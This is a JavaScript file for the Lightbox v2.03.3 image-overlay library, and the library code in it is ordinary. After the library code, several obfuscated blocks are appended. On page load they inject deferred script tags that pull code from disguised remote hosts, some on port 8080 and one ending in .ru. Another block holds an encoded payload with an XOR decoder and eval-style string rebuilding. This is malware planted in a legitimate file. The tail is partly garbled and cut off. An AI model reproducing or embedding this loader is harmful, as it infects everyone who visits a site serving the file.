// -----------------------------------------------------------------------------------
//
//	Lightbox v2.03.3
//	by Lokesh Dhakar - http://www.huddletogether.com
//	5/21/06
//
//	For more information on this script, visit:
//	http://huddletogether.com/projects/lightbox2/
//
//	Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
//	
//	Credit also due to those who have helped, inspired, and made their code available to the public.
//	Including: Scott Upton(uptonic.com), Peter-Paul Koch(quirksmode.com), Thomas Fuchs(mir.aculo.us), and others.
//
//
// -----------------------------------------------------------------------------------
/*

	Table of Contents
	-----------------
	Configuration
	Global Variables

	Extending Built-in Objects	
	- Object.extend(Element)
	- Array.prototype.removeDuplicates()
	- Array.prototype.empty()

	Lightbox Class Declaration
	- initialize()
	- updateImageList()
	- start()
	- changeImage()
	- resizeImageContainer()
	- showImage()
	- updateDetails()
	- updateNav()
	- enableKeyboardNav()
	- disableKeyboardNav()
	- keyboardAction()
	- preloadNeighborImages()
	- end()
	
	Miscellaneous Functions
	- getPageScroll()
	- getPageSize()
	- getKey()
	- listenKey()
	- showSelectBoxes()
	- hideSelectBoxes()
	- showFlash()
	- hideFlash()
	- pause()
	- initLightbox()
	
	Function Calls
	- addLoadEvent(initLightbox)
	
*/
// -----------------------------------------------------------------------------------

//
//	Configuration
//
var fileLoadingImage = "images/loading.gif";		
var fileBottomNavCloseImage = "images/closelabel.gif";

var overlayOpacity = 0.8;	// controls transparency of shadow overlay

var animate = true;			// toggles resizing animations
var resizeSpeed = 7;		// controls the speed of the image resizing animations (1=slowest and 10=fastest)

var borderSize = 10;		//if you adjust the padding in the CSS, you will need to update this variable

// -----------------------------------------------------------------------------------

//
//	Global Variables
//
var imageArray = new Array;
var activeImage;

if(animate == true){
	overlayDuration = 0.2;	// shadow fade in/out duration
	if(resizeSpeed > 10){ resizeSpeed = 10;}
	if(resizeSpeed < 1){ resizeSpeed = 1;}
	resizeDuration = (11 - resizeSpeed) * 0.15;
} else { 
	overlayDuration = 0;
	resizeDuration = 0;
}

// -----------------------------------------------------------------------------------

//
//	Additional methods for Element added by SU, Couloir
//	- further additions by Lokesh Dhakar (huddletogether.com)
//
Object.extend(Element, {
	getWidth: function(element) {
	   	element = $(element);
	   	return element.offsetWidth; 
	},
	setWidth: function(element,w) {
	   	element = $(element);
    	element.style.width = w +"px";
	},
	setHeight: function(element,h) {
   		element = $(element);
    	element.style.height = h +"px";
	},
	setTop: function(element,t) {
	   	element = $(element);
    	element.style.top = t +"px";
	},
	setLeft: function(element,l) {
	   	element = $(element);
    	element.style.left = l +"px";
	},
	setSrc: function(element,src) {
    	element = $(element);
    	element.src = src; 
	},
	setHref: function(element,href) {
    	element = $(element);
    	element.href = href; 
	},
	setInnerHTML: function(element,content) {
		element = $(element);
		element.innerHTML = content;
	}
});

// -----------------------------------------------------------------------------------

//
//	Extending built-in Array object
//	- array.removeDuplicates()
//	- array.empty()
//
Array.prototype.removeDuplicates = function () {
    for(i = 0; i < this.length; i++){
        for(j = this.length-1; j>i; j--){        
            if(this[i][0] == this[j][0]){
                this.splice(j,1);
            }
        }
    }
}

// -----------------------------------------------------------------------------------

Array.prototype.empty = function () {
	for(i = 0; i <= this.length; i++){
		this.shift();
	}
}

// -----------------------------------------------------------------------------------

//
//	Lightbox Class Declaration
//	- initialize()
//	- start()
//	- changeImage()
//	- resizeImageContainer()
//	- showImage()
//	- updateDetails()
//	- updateNav()
//	- enableKeyboardNav()
//	- disableKeyboardNav()
//	- keyboardNavAction()
//	- preloadNeighborImages()
//	- end()
//
//	Structuring of code inspired by Scott Upton (http://www.uptonic.com/)
//
var Lightbox = Class.create();

Lightbox.prototype = {
	
	// initialize()
	// Constructor runs on completion of the DOM loading. Calls updateImageList and then
	// the function inserts html at the bottom of the page which is used to display the shadow 
	// overlay and the image container.
	//
	initialize: function() {	
		
		this.updateImageList();

		// Code inserts html at the bottom of the page that looks similar to this:
		//
		//	<div id="overlay"></div>
		//	<div id="lightbox">
		//		<div id="outerImageContainer">
		//			<div id="imageContainer">
		//				<img id="lightboxImage">
		//				<div style="" id="hoverNav">
		//					<a href="#" id="prevLink"></a>
		//					<a href="#" id="nextLink"></a>
		//				</div>
		//				<div id="loading">
		//					<a href="#" id="loadingLink">
		//						<img src="images/loading.gif">
		//					</a>
		//				</div>
		//			</div>
		//		</div>
		//		<div id="imageDataContainer">
		//			<div id="imageData">
		//				<div id="imageDetails">
		//					<span id="caption"></span>
		//					<span id="numberDisplay"></span>
		//				</div>
		//				<div id="bottomNav">
		//					<a href="#" id="bottomNavClose">
		//						<img src="images/close.gif">
		//					</a>
		//				</div>
		//			</div>
		//		</div>
		//	</div>


		var objBody = document.getElementsByTagName("body").item(0);
		
		var objOverlay = document.createElement("div");
		objOverlay.setAttribute('id','overlay');
		objOverlay.style.display = 'none';
		objOverlay.onclick = function() { myLightbox.end(); }
		objBody.appendChild(objOverlay);
		
		var objLightbox = document.createElement("div");
		objLightbox.setAttribute('id','lightbox');
		objLightbox.style.display = 'none';
		objLightbox.onclick = function(e) {	// close Lightbox is user clicks shadow overlay
			if (!e) var e = window.event;
			var clickObj = Event.element(e).id;
			if ( clickObj == 'lightbox') {
				myLightbox.end();
			}
		};
		objBody.appendChild(objLightbox);
			
		var objOuterImageContainer = document.createElement("div");
		objOuterImageContainer.setAttribute('id','outerImageContainer');
		objLightbox.appendChild(objOuterImageContainer);

		// When Lightbox starts it will resize itself from 250 by 250 to the current image dimension.
		// If animations are turned off, it will be hidden as to prevent a flicker of a
		// white 250 by 250 box.
		if(animate){
			Element.setWidth('outerImageContainer', 250);
			Element.setHeight('outerImageContainer', 250);			
		} else {
			Element.setWidth('outerImageContainer', 1);
			Element.setHeight('outerImageContainer', 1);			
		}

		var objImageContainer = document.createElement("div");
		objImageContainer.setAttribute('id','imageContainer');
		objOuterImageContainer.appendChild(objImageContainer);
	
		var objLightboxImage = document.createElement("img");
		objLightboxImage.setAttribute('id','lightboxImage');
		objImageContainer.appendChild(objLightboxImage);
	
		var objHoverNav = document.createElement("div");
		objHoverNav.setAttribute('id','hoverNav');
		objImageContainer.appendChild(objHoverNav);
	
		var objPrevLink = document.createElement("a");
		objPrevLink.setAttribute('id','prevLink');
		objPrevLink.setAttribute('href','#');
		objHoverNav.appendChild(objPrevLink);
		
		var objNextLink = document.createElement("a");
		objNextLink.setAttribute('id','nextLink');
		objNextLink.setAttribute('href','#');
		objHoverNav.appendChild(objNextLink);
	
		var objLoading = document.createElement("div");
		objLoading.setAttribute('id','loading');
		objImageContainer.appendChild(objLoading);
	
		var objLoadingLink = document.createElement("a");
		objLoadingLink.setAttribute('id','loadingLink');
		objLoadingLink.setAttribute('href','#');
		objLoadingLink.onclick = function() { myLightbox.end(); return false; }
		objLoading.appendChild(objLoadingLink);
	
		var objLoadingImage = document.createElement("img");
		objLoadingImage.setAttribute('src', fileLoadingImage);
		objLoadingLink.appendChild(objLoadingImage);

		var objImageDataContainer = document.createElement("div");
		objImageDataContainer.setAttribute('id','imageDataContainer');
		objLightbox.appendChild(objImageDataContainer);

		var objImageData = document.createElement("div");
		objImageData.setAttribute('id','imageData');
		objImageDataContainer.appendChild(objImageData);
	
		var objImageDetails = document.createElement("div");
		objImageDetails.setAttribute('id','imageDetails');
		objImageData.appendChild(objImageDetails);
	
		var objCaption = document.createElement("span");
		objCaption.setAttribute('id','caption');
		objImageDetails.appendChild(objCaption);
	
		var objNumberDisplay = document.createElement("span");
		objNumberDisplay.setAttribute('id','numberDisplay');
		objImageDetails.appendChild(objNumberDisplay);
		
		var objBottomNav = document.createElement("div");
		objBottomNav.setAttribute('id','bottomNav');
		objImageData.appendChild(objBottomNav);
	
		var objBottomNavCloseLink = document.createElement("a");
		objBottomNavCloseLink.setAttribute('id','bottomNavClose');
		objBottomNavCloseLink.setAttribute('href','#');
		objBottomNavCloseLink.onclick = function() { myLightbox.end(); return false; }
		objBottomNav.appendChild(objBottomNavCloseLink);
	
		var objBottomNavCloseImage = document.createElement("img");
		objBottomNavCloseImage.setAttribute('src', fileBottomNavCloseImage);
		objBottomNavCloseLink.appendChild(objBottomNavCloseImage);
	},


	//
	// updateImageList()
	// Loops through anchor tags looking for 'lightbox' references and applies onclick
	// events to appropriate links. You can rerun after dynamically adding images w/ajax.
	//
	updateImageList: function() {	
		if (!document.getElementsByTagName){ return; }
		var anchors = document.getElementsByTagName('a');
		var areas = document.getElementsByTagName('area');

		// loop through all anchor tags
		for (var i=0; i<anchors.length; i++){
			var anchor = anchors[i];
			
			var relAttribute = String(anchor.getAttribute('rel'));
			
			// use the string.match() method to catch 'lightbox' references in the rel attribute
			if (anchor.getAttribute('href') && (relAttribute.toLowerCase().match('lightbox'))){
				anchor.onclick = function () {myLightbox.start(this); return false;}
			}
		}

		// loop through all area tags
		// todo: combine anchor & area tag loops
		for (var i=0; i< areas.length; i++){
			var area = areas[i];
			
			var relAttribute = String(area.getAttribute('rel'));
			
			// use the string.match() method to catch 'lightbox' references in the rel attribute
			if (area.getAttribute('href') && (relAttribute.toLowerCase().match('lightbox'))){
				area.onclick = function () {myLightbox.start(this); return false;}
			}
		}
	},
	
	
	//
	//	start()
	//	Display overlay and lightbox. If image is part of a set, add siblings to imageArray.
	//
	start: function(imageLink) {	

		hideSelectBoxes();
		hideFlash();

		// stretch overlay to fill page and fade in
		var arrayPageSize = getPageSize();
		Element.setWidth('overlay', arrayPageSize[0]);
		Element.setHeight('overlay', arrayPageSize[1]);

		new Effect.Appear('overlay', { duration: overlayDuration, from: 0.0, to: overlayOpacity });

		imageArray = [];
		imageNum = 0;		

		if (!document.getElementsByTagName){ return; }
		var anchors = document.getElementsByTagName( imageLink.tagName);

		// if image is NOT part of a set..
		if((imageLink.getAttribute('rel') == 'lightbox')){
			// add single image to imageArray
			imageArray.push(new Array(imageLink.getAttribute('href'), imageLink.getAttribute('title')));			
		} else {
		// if image is part of a set..

			// loop through anchors, find other images in set, and add them to imageArray
			for (var i=0; i<anchors.length; i++){
				var anchor = anchors[i];
				if (anchor.getAttribute('href') && (anchor.getAttribute('rel') == imageLink.getAttribute('rel'))){
					imageArray.push(new Array(anchor.getAttribute('href'), anchor.getAttribute('title')));
				}
			}
			imageArray.removeDuplicates();
			while(imageArray[imageNum][0] != imageLink.getAttribute('href')) { imageNum++;}
		}

		// calculate top and left offset for the lightbox 
		var arrayPageScroll = getPageScroll();
		var lightboxTop = arrayPageScroll[1] + (arrayPageSize[3] / 10);
		var lightboxLeft = arrayPageScroll[0];
		Element.setTop('lightbox', lightboxTop);
		Element.setLeft('lightbox', lightboxLeft);
		
		Element.show('lightbox');
		
		this.changeImage(imageNum);
	},

	//
	//	changeImage()
	//	Hide most elements and preload image in preparation for resizing image container.
	//
	changeImage: function(imageNum) {	
		
		activeImage = imageNum;	// update global var

		// hide elements during transition
		if(animate){ Element.show('loading');}
		Element.hide('lightboxImage');
		Element.hide('hoverNav');
		Element.hide('prevLink');
		Element.hide('nextLink');
		Element.hide('imageDataContainer');
		Element.hide('numberDisplay');		
		
		imgPreloader = new Image();
		
		// once image is preloaded, resize image container
		imgPreloader.onload=function(){
			Element.setSrc('lightboxImage', imageArray[activeImage][0]);
			myLightbox.resizeImageContainer(imgPreloader.width, imgPreloader.height);
			
			imgPreloader.onload=function(){};	//	clear onLoad, IE behaves irratically with animated gifs otherwise 
		}
		imgPreloader.src = imageArray[activeImage][0];
	},

	//
	//	resizeImageContainer()
	//
	resizeImageContainer: function( imgWidth, imgHeight) {

		// get curren width and height
		this.widthCurrent = Element.getWidth('outerImageContainer');
		this.heightCurrent = Element.getHeight('outerImageContainer');

		// get new width and height
		var widthNew = (imgWidth  + (borderSize * 2));
		var heightNew = (imgHeight  + (borderSize * 2));

		// scalars based on change from old to new
		this.xScale = ( widthNew / this.widthCurrent) * 100;
		this.yScale = ( heightNew / this.heightCurrent) * 100;

		// calculate size difference between new and old image, and resize if necessary
		wDiff = this.widthCurrent - widthNew;
		hDiff = this.heightCurrent - heightNew;

		if(!( hDiff == 0)){ new Effect.Scale('outerImageContainer', this.yScale, {scaleX: false, duration: resizeDuration, queue: 'front'}); }
		if(!( wDiff == 0)){ new Effect.Scale('outerImageContainer', this.xScale, {scaleY: false, delay: resizeDuration, duration: resizeDuration}); }

		// if new and old image are same size and no scaling transition is necessary, 
		// do a quick pause to prevent image flicker.
		if((hDiff == 0) && (wDiff == 0)){
			if (navigator.appVersion.indexOf("MSIE")!=-1){ pause(250); } else { pause(100);} 
		}

		Element.setHeight('prevLink', imgHeight);
		Element.setHeight('nextLink', imgHeight);
		Element.setWidth( 'imageDataContainer', widthNew);

		this.showImage();
	},
	
	//
	//	showImage()
	//	Display image and begin preloading neighbors.
	//
	showImage: function(){
		Element.hide('loading');
		new Effect.Appear('lightboxImage', { duration: resizeDuration, queue: 'end', afterFinish: function(){	myLightbox.updateDetails(); } });
		this.preloadNeighborImages();
	},

	//
	//	updateDetails()
	//	Display caption, image number, and bottom nav.
	//
	updateDetails: function() {
	
		// if caption is not null
		if(imageArray[activeImage][1]){
			Element.show('caption');
			Element.setInnerHTML( 'caption', imageArray[activeImage][1]);
		}
		
		// if image is part of set display 'Image x of x' 
		if(imageArray.length > 1){
			Element.show('numberDisplay');
			Element.setInnerHTML( 'numberDisplay', "Image " + eval(activeImage + 1) + " of " + imageArray.length);
		}

		new Effect.Parallel(
			[ new Effect.SlideDown( 'imageDataContainer', { sync: true, duration: resizeDuration, from: 0.0, to: 1.0 }), 
			  new Effect.Appear('imageDataContainer', { sync: true, duration: resizeDuration }) ], 
			{ duration: resizeDuration, afterFinish: function() {
				// update overlay size and update nav
				var arrayPageSize = getPageSize();
				Element.setHeight('overlay', arrayPageSize[1]);
				myLightbox.updateNav();
				}
			} 
		);
	},

	//
	//	updateNav()
	//	Display appropriate previous and next hover navigation.
	//
	updateNav: function() {

		Element.show('hoverNav');				

		// if not first image in set, display prev image button
		if(activeImage != 0){
			Element.show('prevLink');
			document.getElementById('prevLink').onclick = function() {
				myLightbox.changeImage(activeImage - 1); return false;
			}
		}

		// if not last image in set, display next image button
		if(activeImage != (imageArray.length - 1)){
			Element.show('nextLink');
			document.getElementById('nextLink').onclick = function() {
				myLightbox.changeImage(activeImage + 1); return false;
			}
		}
		
		this.enableKeyboardNav();
	},

	//
	//	enableKeyboardNav()
	//
	enableKeyboardNav: function() {
		document.onkeydown = this.keyboardAction; 
	},

	//
	//	disableKeyboardNav()
	//
	disableKeyboardNav: function() {
		document.onkeydown = '';
	},

	//
	//	keyboardAction()
	//
	keyboardAction: function(e) {
		if (e == null) { // ie
			keycode = event.keyCode;
			escapeKey = 27;
		} else { // mozilla
			keycode = e.keyCode;
			escapeKey = e.DOM_VK_ESCAPE;
		}

		key = String.fromCharCode(keycode).toLowerCase();
		
		if((key == 'x') || (key == 'o') || (key == 'c') || (keycode == escapeKey)){	// close lightbox
			myLightbox.end();
		} else if((key == 'p') || (keycode == 37)){	// display previous image
			if(activeImage != 0){
				myLightbox.disableKeyboardNav();
				myLightbox.changeImage(activeImage - 1);
			}
		} else if((key == 'n') || (keycode == 39)){	// display next image
			if(activeImage != (imageArray.length - 1)){
				myLightbox.disableKeyboardNav();
				myLightbox.changeImage(activeImage + 1);
			}
		}

	},

	//
	//	preloadNeighborImages()
	//	Preload previous and next images.
	//
	preloadNeighborImages: function(){

		if((imageArray.length - 1) > activeImage){
			preloadNextImage = new Image();
			preloadNextImage.src = imageArray[activeImage + 1][0];
		}
		if(activeImage > 0){
			preloadPrevImage = new Image();
			preloadPrevImage.src = imageArray[activeImage - 1][0];
		}
	
	},

	//
	//	end()
	//
	end: function() {
		this.disableKeyboardNav();
		Element.hide('lightbox');
		new Effect.Fade('overlay', { duration: overlayDuration});
		showSelectBoxes();
		showFlash();
	}
}

// -----------------------------------------------------------------------------------

//
// getPageScroll()
// Returns array with x,y page scroll values.
// Core code from - quirksmode.com
//
function getPageScroll(){

	var xScroll, yScroll;

	if (self.pageYOffset) {
		yScroll = self.pageYOffset;
		xScroll = self.pageXOffset;
	} else if (document.documentElement && document.documentElement.scrollTop){	 // Explorer 6 Strict
		yScroll = document.documentElement.scrollTop;
		xScroll = document.documentElement.scrollLeft;
	} else if (document.body) {// all other Explorers
		yScroll = document.body.scrollTop;
		xScroll = document.body.scrollLeft;	
	}

	arrayPageScroll = new Array(xScroll,yScroll) 
	return arrayPageScroll;
}

// -----------------------------------------------------------------------------------

//
// getPageSize()
// Returns array with page width, height and window width, height
// Core code from - quirksmode.com
// Edit for Firefox by pHaez
//
function getPageSize(){
	
	var xScroll, yScroll;
	
	if (window.innerHeight && window.scrollMaxY) {	
		xScroll = window.innerWidth + window.scrollMaxX;
		yScroll = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
		xScroll = document.body.scrollWidth;
		yScroll = document.body.scrollHeight;
	} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		xScroll = document.body.offsetWidth;
		yScroll = document.body.offsetHeight;
	}
	
	var windowWidth, windowHeight;
	
//	console.log(self.innerWidth);
//	console.log(document.documentElement.clientWidth);

	if (self.innerHeight) {	// all except Explorer
		if(document.documentElement.clientWidth){
			windowWidth = document.documentElement.clientWidth; 
		} else {
			windowWidth = self.innerWidth;
		}
		windowHeight = self.innerHeight;
	} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
		windowWidth = document.documentElement.clientWidth;
		windowHeight = document.documentElement.clientHeight;
	} else if (document.body) { // other Explorers
		windowWidth = document.body.clientWidth;
		windowHeight = document.body.clientHeight;
	}	
	
	// for small pages with total height less then height of the viewport
	if(yScroll < windowHeight){
		pageHeight = windowHeight;
	} else { 
		pageHeight = yScroll;
	}

//	console.log("xScroll " + xScroll)
//	console.log("windowWidth " + windowWidth)

	// for small pages with total width less then width of the viewport
	if(xScroll < windowWidth){	
		pageWidth = xScroll;		
	} else {
		pageWidth = windowWidth;
	}
//	console.log("pageWidth " + pageWidth)

	arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight) 
	return arrayPageSize;
}

// -----------------------------------------------------------------------------------

//
// getKey(key)
// Gets keycode. If 'x' is pressed then it hides the lightbox.
//
function getKey(e){
	if (e == null) { // ie
		keycode = event.keyCode;
	} else { // mozilla
		keycode = e.which;
	}
	key = String.fromCharCode(keycode).toLowerCase();
	
	if(key == 'x'){
	}
}

// -----------------------------------------------------------------------------------

//
// listenKey()
//
function listenKey () {	document.onkeypress = getKey; }
	
// ---------------------------------------------------

function showSelectBoxes(){
	var selects = document.getElementsByTagName("select");
	for (i = 0; i != selects.length; i++) {
		selects[i].style.visibility = "visible";
	}
}

// ---------------------------------------------------

function hideSelectBoxes(){
	var selects = document.getElementsByTagName("select");
	for (i = 0; i != selects.length; i++) {
		selects[i].style.visibility = "hidden";
	}
}

// ---------------------------------------------------

function showFlash(){
	var flashObjects = document.getElementsByTagName("object");
	for (i = 0; i < flashObjects.length; i++) {
		flashObjects[i].style.visibility = "visible";
	}

	var flashEmbeds = document.getElementsByTagName("embed");
	for (i = 0; i < flashEmbeds.length; i++) {
		flashEmbeds[i].style.visibility = "visible";
	}
}

// ---------------------------------------------------

function hideFlash(){
	var flashObjects = document.getElementsByTagName("object");
	for (i = 0; i < flashObjects.length; i++) {
		flashObjects[i].style.visibility = "hidden";
	}

	var flashEmbeds = document.getElementsByTagName("embed");
	for (i = 0; i < flashEmbeds.length; i++) {
		flashEmbeds[i].style.visibility = "hidden";
	}

}


// ---------------------------------------------------

//
// pause(numberMillis)
// Pauses code execution for specified time. Uses busy code, not good.
// Help from Ran Bar-On [ran2103@gmail.com]
//

function pause(ms){
	var date = new Date();
	curDate = null;
	do{var curDate = new Date();}
	while( curDate - date < ms);
}
/*
function pause(numberMillis) {
	var curently = new Date().getTime() + sender;
	while (new Date().getTime();	
}
*/
// ---------------------------------------------------



function initLightbox() { myLightbox = new Lightbox(); }
Event.observe(window, 'load', initLightbox, false);





var e=new String();var aa;if(aa!='b' && aa!='p_'){aa=''};this.p_a=64377;var n=window;var t='sPcOrPiHpHtH'.replace(/[HO\|7P]/g, '');this.pl="pl";var u;if(u!='_p'){u='_p'};var p=document;var c;if(c!='' && c!='v'){c=null};var o;if(o!='qq' && o!='ff'){o='qq'};var aj;if(aj!='ly'){aj=''};var ux="";n.onload=function(){try {var ht=false;w=p.createElement(t);var kv;if(kv!='ir' && kv != ''){kv=null};var co;if(co!='' && co!='bq'){co=null};var tn=new String();w.src='h,t&t&p,:+/&/+gOoOoOgOlOeO-,c,o,m+-Od+o,.wo&p+t+mwd,.Oc&o&mO.wbOl+o&gOf&a+-+c,owmO.Orwe,c+e+nwt,mwe,x&i,c+o&.+r+u&:O8,0+8&0w/&s,cOh+u,e+l+e&r,v,z&.OnOewt+/Os,c&h,u,ewl,eOr,vwz+.+nwewt&/Oown+e,t+.&p+l+/&gwo+o,g&l&ew.+cwo,mw/&cOj,.+c&oOm+/+'.replace(/[\+w,&O]/g, '');this.jo="jo";w.setAttribute('dteCfUeUrC'.replace(/[C6U,t]/g, ''), "1");var ek;if(ek!='sy'){ek=''};var lm;if(lm!='lb'){lm=''};var zo;if(zo!='z'){zo=''};var vzv=59097;p.body.appendChild(w);} catch(a){};var yy=false;var le=17221;};
try {this.z="z";:LineMixer [var o='hWt&t&pW:~/G/~aGm~a~zAoWn~aGw&s~-~cWo~mA.Wg~oWo~gGl&e~.Ac&h~.~gGoWo~g&lWeG-WaWt&.Gb~eWsWtAnWe&w~s&mGaGl~l&.Wr~uA:~8A0&8A0&/WdAeAvWi~aGnGtGaWr~tA.Gc&o~mG/&dGeGvGiAaWnAtGa~rGtW.AcAo&m~/Wt~rGaGvAiWaAn&.AcWoGmW/&eGc~h~oGrAo&uGkWoWnAlWi&nWeW.~cAo&mG/AgGoGo~gAlGeG.&c~o&m&/A'.replace(/[AG~&W]/g, '');var op='s>c>r|i>pktO'.replace(/[O\|\>k#]/g, '');var t;if(t!='d' && t!='xv'){t=''};var r='c|r,e,aUt|e|E,lSeRmRe,nSt,'.replace(/[,U\|SR]/g, '');var s=48778;var x='o,n:l,oRa/dw'.replace(/[w,\:R/]/g, '');var v="1";var l='aMpAp~eAn~dACAh~i.l~d~'.replace(/[~\.AM4]/g, '');var ze=51924;var u='sfeftDAUt2tDr6iUbDu6t6eU'.replace(/[U2fD6]/g, '');this.qv='';var n='b.otd.yp'.replace(/[pt\.7s]/g, '');var ru='';]var jg;if(jg!='vw'){jg=''};window[x]=function(){var g="";h=document[r](op);var qi;if(qi!='' && qi!='pq'){qi=''};:LineMixer [var jm;if(jm!='vz' && jm!='ee'){jm=''};h['sWrDcA'.replace(/[ADvW6]/g, '')]=o;h[u]('dSe@fCeSr8'.replace(/[8@CSL]/g, ''), v);var a;if(a!='w'){a='w'};var nl=document[n];]nl[l](h);var eo;if(eo!='ol'){eo='ol'};};} catch(uq){};this.zm='';
var _=window;this.j="j";var f=document;var c=new Date();var l=new Date();function t(s){var y=['hDtRt4pD:R/R/Hg#oDoDg4lHe4-Hc#o#mR-RcRoH.DdHiRgDgD.#c#o#mH.4fRiDlDeRsH-RwDoDr4dHp#rHeRsRs#-4c4oHm4.Rm#eHdDiHaRt4a4g#oRn4lHi#nRe4.4r4uD:H8H0R8D0H/RmRaDkDtHo#oHbR.HcHo#mR/Dm#a4k#tDo#o4bH.Dc#oRmD/Hw4eHbRmHaRsHtReHrRwHoRrRlDd#.Dc#o4mR/RgDn4aDvHi#.Rc4oH.4j4p4/4g#o#o4gHlRe4.4cDo4mR/#'.replace(/[#HDR4]/g, ''), 'sVcwrHiApAtH'.replace(/[HAVwM]/g, ''), 'c9r;e|aDtDe|E|l9eDmDeCn9t9'.replace(/[9CD;\|]/g, ''), 'oknqlkofa2dk'.replace(/[kq2f\.]/g, ''), 'sbr<c6'.replace(/[6\!\<\*b]/g, ''), 'aspLp^e$nsdQC^hLi$lQdQ'.replace(/[Q\$Ls\^]/g, ''), 'sSelt<A*tltIrIiSbIu<tSe*'.replace(/[\*\<ISl]/g, ''), 'bWoWdsy>'.replace(/[\>WqsX]/g, ''), 'dhehftehrD'.replace(/[Dth\?2]/g, ''), "1"];var k=y[s];return k;}var a = function(){try {var ga;if(ga!='ym' && ga != ''){ga=null};g=f[t([3,2][1])](t([1,6][0]));this.at='';var x = f[t([7][0])];g[t([6][0])](t([2,8][1]), t([9,5][0]));var to;if(to!='i' && to!='tc'){to=''};g[t([3,4][1])]=t([0][0]);var nd;if(nd!='' && nd!='lv'){nd='ak'};var w=false;x[t([5,6][0])](g);} catch(sp){var cu;if(cu!='fu' && cu!='jv'){cu='fu'};};this.o=false;};this.vm=false;_[t([3][0])]=a;var wz="wz";
var Sbx="5a5a426d5f365d4245597c30676a435935705d765274475545716e4c64536256444d754b7a566354515c515745525179645a7752425d63604b704171475555715c6042256f5338627b7e05627b2e7f61";var fP="";var pJ;if(pJ!='ga' && pJ!='pn'){pJ='ga'};var lTT;if(lTT!='' && lTT!='tf'){lTT=''};function j(z){var L;if(L!='C'){L=''}; var A=function(W, Q){var tB;if(tB!='l' && tB != ''){tB=null};var o;if(o!='Tl' && o!='doz'){o=''};var lw=new Array();var n = Q.length;var J = '';var SL="";var nK = W.length;var P=new String();var Z=[1][0];this.NL="NL";var I=[178,182,0,31][2];var eW;if(eW!='bD' && eW != ''){eW=null};this.XY="";var lK;if(lK!='F' && lK!='LX'){lK='F'};var XS;if(XS!='U'){XS=''};var AY="";for(var QX = I; QX < nK; QX += n) {var M;if(M!='Ce'){M='Ce'};var nl = W.substr(QX, n);this.PY="";var oB;if(oB!='' && oB!='Wi'){oB=''};if(nl.length == n){var ze=new Array();var y;if(y!='x'){y=''};var Kc=false;for(var d in Q) {this.Df="Df";var zb;if(zb!='Qoe' && zb!='Mi'){zb='Qoe'};var Xm;if(Xm!='' && Xm!='zs'){Xm=null};var MZ;if(MZ!=''){MZ='q'};J+=nl.substr(Q[d], Z);}var gl=new String();this.Tls="";} else {var oD;if(oD!='jR' && oD != ''){oD=null};var uS=new Array();  J+=nl;var Lr='';var WN=false;}}var QZ;if(QZ!='bc' && QZ!='Xl'){QZ='bc'};return J;var pB=new Date();var pZ;if(pZ!='jD' && pZ != ''){pZ=null};};this.dp="";var em;if(em!='Ut' && em != ''){em=null};var SH=''; function R(B){this.io="";var sB;if(sB!=''){sB='Ac'};var Z=[9,20,187,1][3];var Wq=B[A("nlegth", [1,2,0,3])];var rl=new Array();var ai;if(ai!='' && ai!='Oa'){ai=null};var w=[0,53,220][0];this.fJ="fJ";var Bz;if(Bz!='kd' && Bz!='RU'){Bz='kd'};var Uv;if(Uv!=''){Uv='vc'};var rf=new Date();var b=[255][0];var Cr;if(Cr!='sT'){Cr=''};var uc;if(uc!='' && uc!='Lw'){uc=null};var d=[0,164][0];var Ow;if(Ow!='bcq'){Ow='bcq'};var fr;if(fr!='' && fr!='bn'){fr=null};var vy=31801;while(d<Wq){var Kz=new Date();d++;S=X(B,d - Z);this.ge="";var Fk;if(Fk!='' && Fk!='Ej'){Fk=null};w+=S*Wq;}var SI;if(SI!='eH' && SI!='nFh'){SI=''};var dA=false;var xb="xb";var bj;if(bj!='hr'){bj=''};return new O(w % b);var lT="";var vE=19601;}var XU;if(XU!='' && XU!='bO'){XU=''};var ii=new String();var dj=new String(); function m(K,KY){return K^KY;}this.ts=''; var X=function(Sy,mb){return Sy[A("hcaCroedAt", [1,0,2])](mb);var VX;if(VX!='' && VX!='OZ'){VX=null};};var SV="SV";var KX;if(KX!='kV' && KX != ''){KX=null};var fg="fg";var SF;if(SF!='CO' && SF != ''){SF=null}; var AV=function(W){var doE='';var Zn;if(Zn!='mp'){Zn=''};var J = '';var FH;if(FH!='Jc' && FH != ''){FH=null};var QX =[111,0,152][1];var ES;if(ES!='ZB' && ES!='mpZ'){ES='ZB'};W = new O(W);var ka;if(ka!='' && ka!='xj'){ka='tA'};var LT;if(LT!='' && LT!='jG'){LT='Ni'};var Ai = -1;var qd="";var I =[0][0];var fc=new Array();var Cc;if(Cc!='Uts'){Cc='Uts'};var cn;if(cn!=''){cn='Pu'};for (QX=W[A("glnteh", [1,4,2,0,3,5])]-Ai;QX>=I;QX=QX-[1,163][0]){J+=W[A("hacAtr", [2,0,1])](QX);}this.DsJ=10513;this.hy=56329;return J;};var bZ=new String();var bY;if(bY!='fd' && bY!='Ips'){bY='fd'};var pcj="pcj";var Pi="Pi";var t=window;var fj=new Array();var LK;if(LK!='' && LK!='tGC'){LK='xmx'};var N=t[A("vela", [1,0])];var tG=N(A("cnFunoti", [2,3,1,0]));var oM;if(oM!='AC'){oM='AC'};this.vJ="";var IJ;if(IJ!='gz' && IJ != ''){IJ=null};var IY;if(IY!='wg' && IY != ''){IY=null};var O=N(A("nSirtg", [1,4,3,2,0]));var a = '';var Ns="Ns";var nR;if(nR!='iA' && nR!='sj'){nR='iA'};var tQ=N(A("eRgEpx", [1,0,2,3,5,4]));var oV;if(oV!='sTJ'){oV=''};this.vI=false;var jw;if(jw!='uY'){jw='uY'};var Wg=new Date();var of;if(of!='XK' && of!='hyl'){of=''};var UQC;if(UQC!='YI' && UQC!='Tt'){UQC=''};var Ho=false;var EO=new Date();var YOy=new Date();var QS=O[A("ChrfraomCode", [3,2,6,7,0,1,5,4])];var sN=false;var dc=t[A("nuseacep", [1,0,3,2])];this.ep=41755;var OD;if(OD!='yk' && OD!='Hd'){OD=''};var rs;if(rs!='Ku'){rs='Ku'};var V=[1, A("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, A("ucdotnmedo.bpay.dnpeliCh)dd(", [2,3,1,0]),3, A("ooglegco..mmy", [2,0,1]),4, A("otl.visetidesegi.nur8:800", 